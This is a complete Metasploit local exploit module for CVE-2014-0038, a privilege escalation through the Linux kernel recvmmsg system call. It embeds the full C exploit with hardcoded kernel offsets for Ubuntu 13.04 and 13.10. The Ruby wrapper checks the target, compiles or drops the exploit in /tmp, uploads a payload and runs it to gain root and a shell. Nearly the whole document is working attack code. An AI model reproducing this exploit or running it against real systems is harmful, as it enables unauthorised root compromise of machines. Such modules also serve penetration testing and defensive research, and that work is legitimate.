## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require "msf/core" class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation', 'Description' => %q{ This module attempts to exploit CVE-2014-0038, by sending a recvmmsg system call with a crafted timeout pointer parameter to gain root. This exploit has offsets for 3 Ubuntu 13 kernels built in: 3.8.0-19-generic (13.04 default) 3.11.0-12-generic (13.10 default) 3.11.0-15-generic (13.10) This exploit may take up to 13 minutes to run due to a decrementing (1/sec) pointer which starts at 0xff*3 (765 seconds) }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die ', # Module 'rebel' # Discovery ], 'DisclosureDate' => 'Feb 2 2014', 'Platform' => [ 'linux'], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ [ 'Auto', { } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, }, 'References' => [ [ 'EDB', '31347'], [ 'EDB', '31346'], [ 'CVE', '2014-0038'], [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900'] ] )) register_options( [ OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) ], self.class) end def check def kernel_vuln?() os_id = cmd_exec('grep ^ID= /etc/os-release') if os_id == 'ID=ubuntu' kernel = Gem::Version.new(cmd_exec('/bin/uname -r')) case kernel.release.to_s when '3.11.0' if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic') vprint_good("Kernel #{kernel} is exploitable") return true else print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable") return false end when '3.8.0' if kernel == Gem::Version.new('3.8.0-19-generic') vprint_good("Kernel #{kernel} is exploitable") return true else print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable") return false end else print_error("Non-vuln kernel #{kernel}") return false end else print_error("Unknown OS: #{os_id}") return false end end if kernel_vuln?() return CheckCode::Appears else return CheckCode::Safe end end def exploit if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end # direct copy of code from exploit-db. I removed a lot of the comments in the title area just to cut down on size recvmmsg = %q{ /* *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y) CVE-2014-0038 / x32 ABI with recvmmsg by rebel @ irc.smashthestack.org ----------------------------------- */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #define __X32_SYSCALL_BIT 0x40000000 #undef __NR_recvmmsg #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537) #define VLEN 1 #define BUFSIZE 200 int port; struct offset { char *kernel_version; unsigned long dest; // net_sysctl_root + 96 unsigned long original_value; // net_ctl_permissions unsigned long prepare_kernel_cred; unsigned long commit_creds; }; struct offset offsets[] = { {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10 {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10 {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04 {NULL,0,0,0,0} }; void udp(int b) { int sockfd; struct sockaddr_in servaddr,cliaddr; int s = 0xff+1; if(fork() == 0) { while(s > 0) { fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s)); sleep(1); s--; fprintf(stderr,"."); } sockfd = socket(AF_INET,SOCK_DGRAM,0); bzero(&servaddr,sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK); servaddr.sin_port=htons(port); sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr)); exit(0); } } void trigger() { open("/proc/sys/net/core/somaxconn",O_RDONLY); if(getuid() != 0) { fprintf(stderr,"not root, ya blew it!\n"); exit(-1); } fprintf(stderr,"w00p w00p!\n"); system("/bin/sh -i"); } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; // thx bliss static int __attribute__((regparm(3))) getroot(void *head, void * table) { commit_creds(prepare_kernel_cred(0)); return -1; } void __attribute__((regparm(3))) trampoline() { asm("mov $getroot, %rax; call *%rax;"); } int main(void) { int sockfd, retval, i; struct sockaddr_in sa; struct mmsghdr msgs[VLEN]; struct iovec iovecs[VLEN]; char buf[BUFSIZE]; long mmapped; struct utsname u; struct offset *off = NULL; uname(&u); for(i=0;offsets[i].kernel_version != NULL;i++) { if(!strcmp(offsets[i].kernel_version,u.release)) { off = &offsets[i]; break; } } if(!off) { fprintf(stderr,"no offsets for this kernel version..\n"); exit(-1); } mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1)); mmapped &= 0x000000ffffffffff; srand(time(NULL)); port = (rand() % 30000)+1500; commit_creds = (_commit_creds)off->commit_creds; prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred; mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(mmapped == -1) { perror("mmap()"); exit(-1); } memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3); memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300); if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) { perror("mprotect()"); exit(-1); } sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd == -1) { perror("socket()"); exit(-1); } sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(port); if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) { perror("bind()"); exit(-1); } memset(msgs, 0, sizeof(msgs)); iovecs[0].iov_base = &buf; iovecs[0].iov_len = BUFSIZE; msgs[0].msg_hdr.msg_iov = &iovecs[0]; msgs[0].msg_hdr.msg_iovlen = 1; for(i=0;i < 3 ;i++) { udp(i); retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i); if(!retval) { fprintf(stderr,"\nrecvmmsg() failed\n"); } } close(sockfd); fprintf(stderr,"\n"); trigger(); } } filename = rand_text_alphanumeric(8) executable_path = "#{datastore['WritableDir']}/#{filename}" payloadname = rand_text_alphanumeric(8) payload_path = "#{datastore['WritableDir']}/#{payloadname}" def has_prereqs?() gcc = cmd_exec('which gcc') if gcc.include?('gcc') vprint_good('gcc is installed') else print_error('gcc is not installed. Compiling will fail.') end return gcc.include?('gcc') end compile = false if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' if has_prereqs?() compile = true vprint_status('Live compiling exploit on system') else vprint_status('Dropping pre-compiled exploit on system') end end if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end def upload_and_chmod(fname,fcontent) print_status "Writing to #{fname} (#{fcontent.size} bytes)" rm_f fname write_file(fname, fcontent) cmd_exec("chmod +x #{fname}") register_file_for_cleanup(fname) end if compile recvmmsg.gsub!(/system\("\/bin\/sh -i"\);/, "system(\"#{payload_path}\");") upload_and_chmod("#{executable_path}.c", recvmmsg) vprint_status("Compiling #{executable_path}.c") cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile register_file_for_cleanup(executable_path) else path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', 'recvmmsg') fd = ::File.open( path, "rb") recvmmsg = fd.read(fd.stat.size) fd.close upload_and_chmod(executable_path, recvmmsg) # overwrite with the hardcoded variable names in the compiled versions payload_filename = 'a0RwAacU' payload_path = "/tmp/#{payload_filename}" end upload_and_chmod(payload_path, generate_payload_exe) stime = Time.now vprint_status("Exploiting... May take 17min. Start time: #{stime}") output = cmd_exec(executable_path) output.each_line { |line| vprint_status(line.chomp) } end end